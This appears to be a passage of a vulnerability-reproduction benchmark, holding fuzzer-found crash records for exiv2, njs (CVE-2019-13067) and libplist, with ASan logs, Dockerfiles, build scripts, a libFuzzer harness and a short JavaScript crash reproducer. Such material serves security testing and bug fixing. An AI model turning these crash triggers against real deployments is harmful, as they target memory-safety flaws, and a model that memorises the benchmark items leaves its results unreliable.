==16699==ERROR: AddressSanitizer: unknown-crash on address 0x7f9a857b7143 at pc 0x7f9a84dcc1db bp 0x7ffcb8c7b650 sp 0x7ffcb8c7b648
READ of size 1 at 0x7f9a857b7143 thread T0
#0 0x7f9a84dcc1da in Exiv2::getULong(unsigned char const*, Exiv2::ByteOrder) /home/fuzzer/victim/exiv2/src/types.cpp:289:28
#1 0x7f9a84ebd4c4 in Exiv2::Internal::CiffDirectory::readDirectory(unsigned char const*, unsigned int, Exiv2::ByteOrder) /home/fuzzer/victim/exiv2/src/crwimage_int.cpp:285:22
#2 0x7f9a84ebd84e in Exiv2::Internal::CiffComponent::read(unsigned char const*, unsigned int, unsigned int, Exiv2::ByteOrder) /home/fuzzer/victim/exiv2/src/crwimage_int.cpp:231:9
#3 0x7f9a84ebd84e in Exiv2::Internal::CiffDirectory::readDirectory(unsigned char const*, unsigned int, Exiv2::ByteOrder) /home/fuzzer/victim/exiv2/src/crwimage_int.cpp:305
#4 0x7f9a84c5c29d in Exiv2::CrwParser::decode(Exiv2::CrwImage*, unsigned char const*, unsigned int) /home/fuzzer/victim/exiv2/src/crwimage.cpp:150:9
#5 0x7f9a84c5afa0 in Exiv2::CrwImage::readMetadata() /home/fuzzer/victim/exiv2/src/crwimage.cpp:107:9
#6 0x589421 in Action::Print::printList() /home/fuzzer/victim/exiv2/src/actions.cpp:483:9
#7 0x57c1df in Action::Print::run(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) /home/fuzzer/victim/exiv2/src/actions.cpp:218:26
#8 0x4f4c5f in main /home/fuzzer/victim/exiv2/src/exiv2.cpp:77:23
#9 0x7f9a836be82f in __libc_start_main /build/glibc-LK5gWL/glibc-2.23/csu/../csu/libc-start.c:291
#10 0x41ff38 in _start (/home/fuzzer/victim/exiv2/build/bin/exiv2+0x41ff38)
AddressSanitizer can not describe address in more detail (wild memory access suspected).
SUMMARY: AddressSanitizer: unknown-crash /home/fuzzer/victim/exiv2/src/types.cpp:289:28 in Exiv2::getULong(unsigned char const*, Exiv2::ByteOrder)
Shadow bytes around the buggy address:
0x0ff3d0aeedd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff3d0aeede0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff3d0aeedf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff3d0aeee00: fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe
0x0ff3d0aeee10: fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe
=>0x0ff3d0aeee20: fe fe fe fe fe fe fe fe[fe]fe fe fe fe fe fe fe
0x0ff3d0aeee30: fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe
0x0ff3d0aeee40: fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe
0x0ff3d0aeee50: fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe
0x0ff3d0aeee60: fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe
0x0ff3d0aeee70: fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==16699==ABORTING
fuzzer@fuzzer:~/victim/exiv2/build/bin$
```
Comments:
Comment by phako on 2019-10-06 11:13:33+00:00:
Hi. Please provide repducuction material and, if possible, it would be really nice of you to also provide a fix.
---
Comment by c0d3xpl0it on 2019-10-06 11:30:59+00:00:
Below is command for reproducing the bug. Please unzip POC before running.
./exiv2 -pv [POC-file.zip](https://github.com/Exiv2/exiv2/files/3694286/POC-file.zip)
Machine Setup
```
Machine : Ubuntu 16.04.3 LTS
gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.11)
Commit : 401e658
exiv2 : 0.27.99.0
Command : exiv2 -pv $POC
```
@phako Currently I am unaware of fix.
---
Comment by phako on 2019-10-06 13:05:53+00:00:
This seems to catch that but I am not sure that this is correct place for it.
```
diff --git a/src/crwimage_int.cpp b/src/crwimage_int.cpp
index 2474baac..c2fa3d0c 100644
--- a/src/crwimage_int.cpp
+++ b/src/crwimage_int.cpp
@@ -270,6 +270,9 @@ namespace Exiv2 {
#ifdef EXIV2_DEBUG_MESSAGES
std::cout << "Reading directory 0x" << std::hex << tag() << "\n";
#endif
+ if (this->offset() + this->size() > size)
+ throw Error(kerCorruptedMetadata);
+
readDirectory(pData + offset(), this->size(), byteOrder);
#ifdef EXIV2_DEBUG_MESSAGES
std::cout << "<---- 0x" << std::hex << tag() << "\n";
```
---
Comment by c0d3xpl0it on 2019-10-06 16:51:53+00:00:
@phako You can edit the title of the ticket inorder to point to correct vulnerability.
Attachments:
https://github.com/Exiv2/exiv2/files/3694286/POC-file.zip
|
[] |
[
{
"sha": "683451567284005cd24e1ccb0a76ca401000968b",
"url": "https://github.com/Exiv2/exiv2/commit/683451567284005cd24e1ccb0a76ca401000968b"
},
{
"sha": "b7890776c62398ca1005e8edc32786859d60fcf7",
"url": "https://github.com/Exiv2/exiv2/commit/b7890776c62398ca1005e8edc32786859d60fcf7"
},
{
"sha": "af86dba97bda4d85d7ba71e67d7f95047fdbaf84",
"url": "https://github.com/1div0/exiv2/commit/af86dba97bda4d85d7ba71e67d7f95047fdbaf84"
}
] |
njs.cve-2019-13067
|
nginx/njs
|
7b540a9bf295ba8426cc6c8962e595c0cbc6a295
| 2019-06-25T06:43:56
|
njs
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool mercurial libpcre3-dev libreadline-dev subversion
RUN git clone https://github.com/nginx/njs njs
RUN git -C njs checkout 7b540a9bf295ba8426cc6c8962e595c0cbc6a295
WORKDIR $SRC/njs
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./autogen.sh
CFLAGS="$CFLAGS -fno-use-cxa-atexit" CXXFLAGS="$CXXFLAGS -fno-use-cxa-atexit" ./configure
make -j$(nproc) clean
make -j$(nproc) all
./configure
make njs -j$(nproc)
mkdir -p $SEED_CORPUS_PATH
|
/src/njs
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/nginx/njs/issues/183
## Description:
Issue: nginx/njs#183
Title: global-buffer-overflow in nxt_utf8_decode nxt/nxt_utf8.c:72
State: closed
Created by: wrauner
Created at: 2019-06-20 12:23:30+00:00
Labels: bug, fuzzer, fluff
Issue Body:
NJS version:
```
changeset: 1011:2fb43ddbce84
tag: tip
user: hongzhidao <[email protected]>
date: Mon Jun 10 22:23:56 2019 -0400
summary: Added property getter/setter support in Object.defineProperty().
```
JS Testcase:
```js
(new InternalError(new Object(), RegExp().source.replace((Object((ReferenceError()+{get: function () {
}}))||Object.isExtensible()), RegExp().source.replace((RegExp()||ignoreCase.startsWith()), function v0() {
}, Number(), Boolean(), Error(), TypeError(), Boolean(), Error(), Object(), 0)))+0)
```
ASAN log:
```
=================================================================
==3788==ERROR: AddressSanitizer: global-buffer-overflow on address 0x5566629c2ab8 at pc 0x55666274915c bp 0x7ffefaee9990 sp 0x7ffefaee9980
READ of size 1 at 0x5566629c2ab8 thread T0
#0 0x55666274915b in nxt_utf8_decode nxt/nxt_utf8.c:72
#1 0x556662749796 in nxt_utf8_length nxt/nxt_utf8.c:271
#2 0x5566625d3857 in njs_string_replace_join njs/njs_string.c:3661
#3 0x5566625e40ee in njs_string_replace_regexp_join njs/njs_string.c:3280
#4 0x5566625e40ee in njs_string_replace_regexp njs/njs_string.c:3163
#5 0x5566625e40ee in njs_string_prototype_replace njs/njs_string.c:3058
#6 0x55666268dc13 in njs_function_native_call njs/njs_function.c:587
#7 0x5566625b0592 in njs_vmcode_continuation njs/njs_vm.c:2336
#8 0x5566625b0cb3 in njs_vmcode_interpreter njs/njs_vm.c:159
#9 0x5566625ab693 in njs_vm_start njs/njs.c:594
#10 0x55666258e8a9 in njs_process_script njs/njs_shell.c:772
#11 0x556662587cc8 in njs_process_file njs/njs_shell.c:621
#12 0x556662587cc8 in main njs/njs_shell.c:283
#13 0x7f67abf81b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#14 0x556662589db9 in _start (/home/build/njs/build/njs+0x2bdb9)
0x5566629c2ab8 is located 40 bytes to the left of global variable '__compound_literal.29' defined in 'njs/njs_object.c:2284:18' (0x5566629c2ae0) of size 56
0x5566629c2ab8 is located 0 bytes to the right of global variable '__compound_literal.30' defined in 'njs/njs_object.c:2292:18' (0x5566629c2a80) of size 56
SUMMARY: AddressSanitizer: global-buffer-overflow nxt/nxt_utf8.c:72 in nxt_utf8_decode
Shadow bytes around the buggy address:
0x0aad4c530500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0aad4c530510: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0aad4c530520: 00 00 00 00 00 00 00 00 00 00 00 f9 f9 f9 f9 f9
0x0aad4c530530: 00 00 00 00 00 00 00 f9 f9 f9 f9 f9 00 00 f9 f9
0x0aad4c530540: f9 f9 f9 f9 00 00 00 00 00 00 00 f9 f9 f9 f9 f9
=>0x0aad4c530550: 00 00 00 00 00 00 00[f9]f9 f9 f9 f9 00 00 00 00
0x0aad4c530560: 00 00 00 f9 f9 f9 f9 f9 00 00 f9 f9 f9 f9 f9 f9
0x0aad4c530570: 00 00 f9 f9 f9 f9 f9 f9 00 00 f9 f9 f9 f9 f9 f9
0x0aad4c530580: 00 00 f9 f9 f9 f9 f9 f9 00 00 f9 f9 f9 f9 f9 f9
0x0aad4c530590: 00 00 f9 f9 f9 f9 f9 f9 00 00 f9 f9 f9 f9 f9 f9
0x0aad4c5305a0: 00 00 f9 f9 f9 f9 f9 f9 00 00 00 00 00 00 00 f9
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==3788==ABORTING
```
Found by [fluff](https://github.com/Samsung/Fluff)
Comments:
Comment by lexborisov on 2019-06-27 17:12:24+00:00:
Small example for crash:
```
"abc".replace(/(z*)/g, function v0() {return "124"})
```
Work in progress.
---
Comment by nluedtke on 2019-07-01 11:45:00+00:00:
This was assigned [CVE-2019-13067](https://nvd.nist.gov/vuln/detail/CVE-2019-13067).
---
Comment by xeioex on 2019-07-01 16:52:18+00:00:
@nluedtke Did you create this CVE? If yes, can you please explain how did you calculate the base score? Given that njs **never** executes js code from the network, only from a conf file which is a safe source. Please also do not create similar CVEs from such tickets.
---
Comment by nluedtke on 2019-07-02 10:11:05+00:00:
I did not create this. Just linking it here for awareness. It is entirely possible the score on NVD is incorrect, it happens often.
---
Comment by jdelta-RBS on 2019-07-02 14:01:18+00:00:
^^ Yeah CVE / NVD have plenty of garbage information, especially when researchers don't coordinate with vendors, and NVD doesn't vet the information (which they almost never really do).
|
[
{
"content": "// Copyright 2019 Google LLC\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n#include <stddef.h>\n#include <stdint.h>\n\n#include <njs_core.h>\n#include <njs_builtin.h>\n\n// The vast majority of the code was copied from njs/njs_shell.c.\n\ntypedef struct {\n uint8_t disassemble;\n uint8_t interactive;\n uint8_t module;\n uint8_t quiet;\n uint8_t sandbox;\n uint8_t version;\n\n char *file;\n char *command;\n size_t n_paths;\n char **paths;\n} njs_opts_t;\n\n\ntypedef struct {\n size_t index;\n size_t length;\n nxt_array_t *completions;\n nxt_array_t *suffix_completions;\n nxt_lvlhsh_each_t lhe;\n\n enum {\n NJS_COMPLETION_VAR = 0,\n NJS_COMPLETION_SUFFIX,\n NJS_COMPLETION_GLOBAL\n } phase;\n} njs_completion_t;\n\n\ntypedef struct {\n njs_vm_event_t vm_event;\n nxt_queue_link_t link;\n} njs_ev_t;\n\n\ntypedef struct {\n njs_vm_t *vm;\n\n nxt_lvlhsh_t events; /* njs_ev_t * */\n nxt_queue_t posted_events;\n\n uint64_t time;\n\n njs_completion_t completion;\n} njs_console_t;\n\n\nstatic nxt_int_t njs_console_init(njs_vm_t *vm, njs_console_t *console);\nstatic nxt_int_t njs_externals_init(njs_vm_t *vm, njs_console_t *console);\nstatic nxt_int_t njs_interactive_shell(njs_opts_t *opts,\n njs_vm_opt_t *vm_options, nxt_str_t *line);\nstatic njs_vm_t *njs_create_vm(njs_opts_t *opts, njs_vm_opt_t *vm_options);\nstatic nxt_int_t njs_process_script(njs_console_t *console, njs_opts_t *opts,\n const nxt_str_t *script);\n\nstatic njs_ret_t njs_ext_console_log(njs_vm_t *vm, njs_value_t *args,\n nxt_uint_t nargs, njs_index_t unused);\nstatic njs_ret_t njs_ext_console_dump(njs_vm_t *vm, njs_value_t *args,\n nxt_uint_t nargs, njs_index_t unused);\nstatic njs_ret_t njs_ext_console_help(njs_vm_t *vm, njs_value_t *args,\n nxt_uint_t nargs, njs_index_t unused);\nstatic njs_ret_t njs_ext_console_time(njs_vm_t *vm, njs_value_t *args,\n nxt_uint_t nargs, njs_index_t unused);\nstatic njs_ret_t njs_ext_console_time_end(njs_vm_t *vm, njs_value_t *args,\n nxt_uint_t nargs, njs_index_t unused);\n\nstatic njs_host_event_t njs_console_set_timer(njs_external_ptr_t external,\n uint64_t delay, njs_vm_event_t vm_event);\nstatic void njs_console_clear_timer(njs_external_ptr_t external,\n njs_host_event_t event);\n\nstatic nxt_int_t lvlhsh_key_test(nxt_lvlhsh_query_t *lhq, void *data);\nstatic void *lvlhsh_pool_alloc(void *pool, size_t size, nxt_uint_t nalloc);\nstatic void lvlhsh_pool_free(void *pool, void *p, size_t size);\n\n\nstatic njs_external_t njs_ext_console[] = {\n\n { nxt_string(\"log\"),\n NJS_EXTERN_METHOD,\n NULL,\n 0,\n NULL,\n NULL,\n NULL,\n NULL,\n NULL,\n njs_ext_console_log,\n 0 },\n\n { nxt_string(\"dump\"),\n NJS_EXTERN_METHOD,\n NULL,\n 0,\n NULL,\n NULL,\n NULL,\n NULL,\n NULL,\n njs_ext_console_dump,\n 0 },\n\n { nxt_string(\"help\"),\n NJS_EXTERN_METHOD,\n NULL,\n 0,\n NULL,\n NULL,\n NULL,\n NULL,\n NULL,\n njs_ext_console_help,\n 0 },\n\n { nxt_string(\"time\"),\n NJS_EXTERN_METHOD,\n NULL,\n 0,\n NULL,\n NULL,\n NULL,\n NULL,\n NULL,\n njs_ext_console_time,\n 0 },\n\n { nxt_string(\"timeEnd\"),\n NJS_EXTERN_METHOD,\n NULL,\n 0,\n NULL,\n NULL,\n NULL,\n NULL,\n NULL,\n njs_ext_console_time_end,\n 0 },\n};\n\nstatic njs_external_t njs_externals[] = {\n\n { nxt_string(\"console\"),\n NJS_EXTERN_OBJECT,\n njs_ext_console,\n nxt_nitems(njs_ext_console),\n NULL,\n NULL,\n NULL,\n NULL,\n NULL,\n NULL,\n 0 },\n};\n\n\nstatic const nxt_lvlhsh_proto_t lvlhsh_proto nxt_aligned(64) = {\n NXT_LVLHSH_LARGE_SLAB,\n 0,\n lvlhsh_key_test,\n lvlhsh_pool_alloc,\n lvlhsh_pool_free,\n};\n\n\nstatic njs_vm_ops_t njs_console_ops = {\n njs_console_set_timer,\n njs_console_clear_timer\n};\n\n\nstatic njs_console_t njs_console;\n\n\nstatic nxt_int_t\nnjs_console_init(njs_vm_t *vm, njs_console_t *console)\n{\n console->vm = vm;\n\n nxt_lvlhsh_init(&console->events);\n nxt_queue_init(&console->posted_events);\n\n console->time = UINT64_MAX;\n\n console->completion.completions = njs_vm_completions(vm, NULL);\n if (console->completion.completions == NULL) {\n return NXT_ERROR;\n }\n\n return NXT_OK;\n}\n\n\nstatic nxt_int_t\nnjs_externals_init(njs_vm_t *vm, njs_console_t *console)\n{\n nxt_uint_t ret;\n njs_value_t *value;\n const njs_extern_t *proto;\n\n static const nxt_str_t name = nxt_string(\"console\");\n\n proto = njs_vm_external_prototype(vm, &njs_externals[0]);\n if (proto == NULL) {\n nxt_error(\"failed to add console proto\\n\");\n return NXT_ERROR;\n }\n\n value = nxt_mp_zalloc(vm->mem_pool, sizeof(njs_opaque_value_t));\n if (value == NULL) {\n return NXT_ERROR;\n }\n\n ret = njs_vm_external_create(vm, value, proto, console);\n if (ret != NXT_OK) {\n return NXT_ERROR;\n }\n\n ret = njs_vm_external_bind(vm, &name, value);\n if (ret != NXT_OK) {\n return NXT_ERROR;\n }\n\n ret = njs_console_init(vm, console);\n if (ret != NXT_OK) {\n return NXT_ERROR;\n }\n\n return NXT_OK;\n}\n\nstatic nxt_int_t\nnjs_interactive_shell(njs_opts_t *opts, njs_vm_opt_t *vm_options, nxt_str_t *line)\n{\n njs_vm_t *vm;\n\n vm = njs_create_vm(opts, vm_options);\n if (vm == NULL) {\n return NXT_ERROR;\n }\n\n njs_process_script(vm_options->external, opts, line);\n njs_vm_destroy(vm);\n vm = NULL;\n\n return NXT_OK;\n}\n\nstatic njs_vm_t *\nnjs_create_vm(njs_opts_t *opts, njs_vm_opt_t *vm_options)\n{\n u_char *p, *start;\n njs_vm_t *vm;\n nxt_int_t ret;\n nxt_str_t path;\n nxt_uint_t i;\n\n vm = njs_vm_create(vm_options);\n if (vm == NULL) {\n nxt_error(\"failed to create vm\\n\");\n return NULL;\n }\n\n if (njs_externals_init(vm, vm_options->external) != NXT_OK) {\n nxt_error(\"failed to add external protos\\n\");\n return NULL;\n }\n\n for (i = 0; i < opts->n_paths; i++) {\n path.start = (u_char *) opts->paths[i];\n path.length = nxt_strlen(opts->paths[i]);\n\n ret = njs_vm_add_path(vm, &path);\n if (ret != NXT_OK) {\n nxt_error(\"failed to add path\\n\");\n return NULL;\n }\n }\n\n start = (u_char *) getenv(\"NJS_PATH\");\n if (start == NULL) {\n return vm;\n }\n\n for ( ;; ) {\n p = nxt_strchr(start, ':');\n\n path.start = start;\n path.length = (p != NULL) ? (size_t) (p - start) : nxt_strlen(start);\n\n ret = njs_vm_add_path(vm, &path);\n if (ret != NXT_OK) {\n nxt_error(\"failed to add path\\n\");\n return NULL;\n }\n\n if (p == NULL) {\n break;\n }\n\n start = p + 1;\n }\n\n return vm;\n}\n\n\nstatic nxt_int_t\nnjs_process_events(njs_console_t *console, njs_opts_t *opts)\n{\n njs_ev_t *ev;\n nxt_queue_t *events;\n nxt_queue_link_t *link;\n\n events = &console->posted_events;\n\n for ( ;; ) {\n link = nxt_queue_first(events);\n\n if (link == nxt_queue_tail(events)) {\n break;\n }\n\n ev = nxt_queue_link_data(link, njs_ev_t, link);\n\n nxt_queue_remove(&ev->link);\n ev->link.prev = NULL;\n ev->link.next = NULL;\n\n njs_vm_post_event(console->vm, ev->vm_event, NULL, 0);\n }\n\n return NXT_OK;\n}\n\n\nstatic nxt_int_t\nnjs_process_script(njs_console_t *console, njs_opts_t *opts,\n const nxt_str_t *script)\n{\n u_char *start;\n njs_vm_t *vm;\n nxt_int_t ret;\n\n vm = console->vm;\n start = script->start;\n\n ret = njs_vm_compile(vm, &start, start + script->length);\n\n if (ret == NXT_OK) {\n if (opts->disassemble) {\n njs_disassembler(vm);\n nxt_printf(\"\\n\");\n }\n\n ret = njs_vm_start(vm);\n }\n\n for ( ;; ) {\n if (!njs_vm_pending(vm)) {\n break;\n }\n\n ret = njs_process_events(console, opts);\n if (nxt_slow_path(ret != NXT_OK)) {\n nxt_error(\"njs_process_events() failed\\n\");\n ret = NJS_ERROR;\n break;\n }\n\n if (njs_vm_waiting(vm) && !njs_vm_posted(vm)) {\n /*TODO: async events. */\n\n nxt_error(\"njs_process_script(): async events unsupported\\n\");\n ret = NJS_ERROR;\n break;\n }\n\n ret = njs_vm_run(vm);\n }\n\n return ret;\n}\n\n\nstatic njs_ret_t\nnjs_ext_console_log(njs_vm_t *vm, njs_value_t *args, nxt_uint_t nargs,\n njs_index_t unused)\n{\n nxt_str_t msg;\n nxt_uint_t n;\n\n n = 1;\n\n while (n < nargs) {\n if (njs_vm_value_dump(vm, &msg, njs_argument(args, n), 1, 0)\n == NJS_ERROR)\n {\n return NJS_ERROR;\n }\n\n nxt_printf(\"%s\", (n != 1) ? \" \" : \"\");\n nxt_print(msg.start, msg.length);\n\n n++;\n }\n\n if (nargs > 1) {\n nxt_printf(\"\\n\");\n }\n\n vm->retval = njs_value_undefined;\n\n return NJS_OK;\n}\n\n\nstatic njs_ret_t\nnjs_ext_console_dump(njs_vm_t *vm, njs_value_t *args, nxt_uint_t nargs,\n njs_index_t unused)\n{\n nxt_str_t msg;\n nxt_uint_t n;\n\n n = 1;\n\n while (n < nargs) {\n if (njs_vm_value_dump(vm, &msg, njs_argument(args, n), 1, 1)\n == NJS_ERROR)\n {\n return NJS_ERROR;\n }\n\n nxt_printf(\"%s\", (n != 1) ? \" \" : \"\");\n nxt_print(msg.start, msg.length);\n\n n++;\n }\n\n if (nargs > 1) {\n nxt_printf(\"\\n\");\n }\n\n vm->retval = njs_value_undefined;\n\n return NJS_OK;\n}\n\n\nstatic njs_ret_t\nnjs_ext_console_help(njs_vm_t *vm, njs_value_t *args, nxt_uint_t nargs,\n njs_index_t unused)\n{\n const njs_object_init_t *obj, **objpp;\n\n nxt_printf(\"VM built-in objects:\\n\");\n\n for (objpp = njs_constructor_init; *objpp != NULL; objpp++) {\n obj = *objpp;\n\n nxt_printf(\" %V\\n\", &obj->name);\n }\n\n for (objpp = njs_object_init; *objpp != NULL; objpp++) {\n obj = *objpp;\n\n nxt_printf(\" %V\\n\", &obj->name);\n }\n\n nxt_printf(\"\\nEmbedded objects:\\n\");\n nxt_printf(\" console\\n\");\n\n nxt_printf(\"\\n\");\n\n vm->retval = njs_value_undefined;\n\n return NJS_OK;\n}\n\n\nstatic njs_ret_t\nnjs_ext_console_time(njs_vm_t *vm, njs_value_t *args, nxt_uint_t nargs,\n njs_index_t unused)\n{\n njs_console_t *console;\n\n if (!njs_value_is_undefined(njs_arg(args, nargs, 1))) {\n njs_vm_error(vm, \"labels not implemented\");\n return NJS_ERROR;\n }\n\n console = njs_vm_external(vm, njs_arg(args, nargs, 0));\n if (nxt_slow_path(console == NULL)) {\n return NJS_ERROR;\n }\n\n console->time = nxt_time();\n\n vm->retval = njs_value_undefined;\n\n return NJS_OK;\n}\n\n\nstatic njs_ret_t\nnjs_ext_console_time_end(njs_vm_t *vm, njs_value_t *args, nxt_uint_t nargs,\n njs_index_t unused)\n{\n uint64_t ns, ms;\n njs_console_t *console;\n\n ns = nxt_time();\n\n if (!njs_value_is_undefined(njs_arg(args, nargs, 1))) {\n njs_vm_error(vm, \"labels not implemented\");\n return NJS_ERROR;\n }\n\n console = njs_vm_external(vm, njs_arg(args, nargs, 0));\n if (nxt_slow_path(console == NULL)) {\n return NJS_ERROR;\n }\n\n if (nxt_fast_path(console->time != UINT64_MAX)) {\n\n ns = ns - console->time;\n\n ms = ns / 1000000;\n ns = ns % 1000000;\n\n nxt_printf(\"default: %uL.%06uLms\\n\", ms, ns);\n\n console->time = UINT64_MAX;\n\n } else {\n nxt_printf(\"Timer \\\"default\\\" doesn’t exist.\\n\");\n }\n\n vm->retval = njs_value_undefined;\n\n return NJS_OK;\n}\n\n\nstatic njs_host_event_t\nnjs_console_set_timer(njs_external_ptr_t external, uint64_t delay,\n njs_vm_event_t vm_event)\n{\n njs_ev_t *ev;\n njs_vm_t *vm;\n nxt_int_t ret;\n njs_console_t *console;\n nxt_lvlhsh_query_t lhq;\n\n if (delay != 0) {\n nxt_error(\"njs_console_set_timer(): async timers unsupported\\n\");\n return NULL;\n }\n\n console = external;\n vm = console->vm;\n\n ev = nxt_mp_alloc(vm->mem_pool, sizeof(njs_ev_t));\n if (nxt_slow_path(ev == NULL)) {\n return NULL;\n }\n\n ev->vm_event = vm_event;\n\n lhq.key.start = (u_char *) &ev->vm_event;\n lhq.key.length = sizeof(njs_vm_event_t);\n lhq.key_hash = nxt_djb_hash(lhq.key.start, lhq.key.length);\n\n lhq.replace = 0;\n lhq.value = ev;\n lhq.proto = &lvlhsh_proto;\n lhq.pool = vm->mem_pool;\n\n ret = nxt_lvlhsh_insert(&console->events, &lhq);\n if (nxt_slow_path(ret != NXT_OK)) {\n return NULL;\n }\n\n nxt_queue_insert_tail(&console->posted_events, &ev->link);\n\n return (njs_host_event_t) ev;\n}\n\n\nstatic void\nnjs_console_clear_timer(njs_external_ptr_t external, njs_host_event_t event)\n{\n njs_vm_t *vm;\n njs_ev_t *ev;\n nxt_int_t ret;\n njs_console_t *console;\n nxt_lvlhsh_query_t lhq;\n\n ev = event;\n console = external;\n vm = console->vm;\n\n lhq.key.start = (u_char *) &ev->vm_event;\n lhq.key.length = sizeof(njs_vm_event_t);\n lhq.key_hash = nxt_djb_hash(lhq.key.start, lhq.key.length);\n\n lhq.proto = &lvlhsh_proto;\n lhq.pool = vm->mem_pool;\n\n if (ev->link.prev != NULL) {\n nxt_queue_remove(&ev->link);\n }\n\n ret = nxt_lvlhsh_delete(&console->events, &lhq);\n if (ret != NXT_OK) {\n nxt_error(\"nxt_lvlhsh_delete() failed\\n\");\n }\n\n nxt_mp_free(vm->mem_pool, ev);\n}\n\n\nstatic nxt_int_t\nlvlhsh_key_test(nxt_lvlhsh_query_t *lhq, void *data)\n{\n njs_ev_t *ev;\n\n ev = data;\n\n if (memcmp(&ev->vm_event, lhq->key.start, sizeof(njs_vm_event_t)) == 0) {\n return NXT_OK;\n }\n\n return NXT_DECLINED;\n}\n\n\nstatic void *\nlvlhsh_pool_alloc(void *pool, size_t size, nxt_uint_t nalloc)\n{\n return nxt_mp_align(pool, size, size);\n}\n\n\nstatic void\nlvlhsh_pool_free(void *pool, void *p, size_t size)\n{\n nxt_mp_free(pool, p);\n}\n\n\nint LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) {\n if (size == 0) return 0;\n\n char* input = malloc(size);\n memcpy(input, data, size);\n nxt_str_t line = {size, input};\n\n njs_vm_t *vm;\n nxt_int_t ret;\n njs_opts_t opts;\n nxt_str_t command;\n njs_vm_opt_t vm_options;\n\n nxt_memzero(&opts, sizeof(njs_opts_t));\n opts.interactive = 1;\n\n nxt_memzero(&vm_options, sizeof(njs_vm_opt_t));\n\n vm_options.init = !opts.interactive;\n vm_options.accumulative = opts.interactive;\n vm_options.backtrace = 1;\n vm_options.quiet = opts.quiet;\n vm_options.sandbox = opts.sandbox;\n vm_options.module = opts.module;\n\n vm_options.ops = &njs_console_ops;\n vm_options.external = &njs_console;\n\n ret = njs_interactive_shell(&opts, &vm_options, &line);\n free(input);\n\n if (ret != NXT_OK)\n return 0;\n\n return 0;\n}\n",
"filename": "njs_process_script_fuzzer.c"
}
] |
[
{
"sha": "f15fb784bbc537917cf59a5de922131fc5c18431",
"url": "https://github.com/nginx/njs/commit/f15fb784bbc537917cf59a5de922131fc5c18431"
},
{
"sha": "d14fed64975e3168346038a5ce5e11534ad84b57",
"url": "https://github.com/nginx/njs/commit/d14fed64975e3168346038a5ce5e11534ad84b57"
},
{
"sha": "9f85ae2d277c5b25019fd8ddeb9c779cf2876a60",
"url": "https://github.com/nginx/njs/commit/9f85ae2d277c5b25019fd8ddeb9c779cf2876a60"
},
{
"sha": "35486fa8c8b55dadc0a770c232a47e79c985318e",
"url": "https://github.com/nginx/njs/commit/35486fa8c8b55dadc0a770c232a47e79c985318e"
},
{
"sha": "1f30a312125597ac7be9dd787cccde8545d39fa8",
"url": "https://github.com/nginx/njs/commit/1f30a312125597ac7be9dd787cccde8545d39fa8"
},
{
"sha": "f318876c581c2b0f636b82b40b1f6713f6662062",
"url": "https://github.com/nginx/njs/commit/f318876c581c2b0f636b82b40b1f6713f6662062"
},
{
"sha": "a03bdd0434c4501fa20064214a8e66c6c12cb7cf",
"url": "https://github.com/nginx/njs/commit/a03bdd0434c4501fa20064214a8e66c6c12cb7cf"
},
{
"sha": "f910561b6a6764589b707cc28adaeba1ad6e183b",
"url": "https://github.com/nginx/njs/commit/f910561b6a6764589b707cc28adaeba1ad6e183b"
},
{
"sha": "4843b4e2453d509d05cb706723235426a5994008",
"url": "https://github.com/nginx/njs/commit/4843b4e2453d509d05cb706723235426a5994008"
}
] |
libplist.cve-2017-6437
|
libimobiledevice/libplist
|
27ed36c03297713d2cfa79431cdc8105602e80c2
| 2014-10-13T19:59:39
|
libplist
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool pkg-config
RUN git clone https://github.com/libimobiledevice/libplist libplist
RUN git -C libplist checkout 27ed36c03297713d2cfa79431cdc8105602e80c2
WORKDIR $SRC/libplist
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./autogen.sh --without-cython --enable-debug --without-tests
make -j$(nproc) clean
make -j$(nproc) all
|
/src/libplist
|
address
|
